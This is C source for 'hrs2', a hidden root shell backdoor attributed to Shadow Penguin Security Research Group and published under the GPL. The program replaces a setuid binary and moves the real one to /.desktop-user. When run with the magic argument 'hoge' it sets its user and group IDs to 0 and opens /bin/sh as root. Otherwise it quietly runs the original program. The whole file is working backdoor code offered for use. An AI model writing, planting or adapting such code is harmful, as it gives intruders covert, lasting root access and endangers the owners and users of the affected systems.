/************************************************************************ hrs2 - hidden root shell 2 Developed by Shadow Penguin Security Resarch Group http://www.shadowpenguin.org UNYUN This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.*************************************************************************/#include #define ORIGINAL "/.desktop-user"#define MAGIC "hoge"int main(int argc,char *argv[]){ struct stat statbuf; if (argc==2 && !strcmp(argv[1],MAGIC)){ setuid(0); setgid(0); execl("/bin/sh","sh",NULL); }else{ stat(argv[0],&statbuf); setuid(statbuf.st_uid); setgid(statbuf.st_gid); execv(ORIGINAL,argv); }}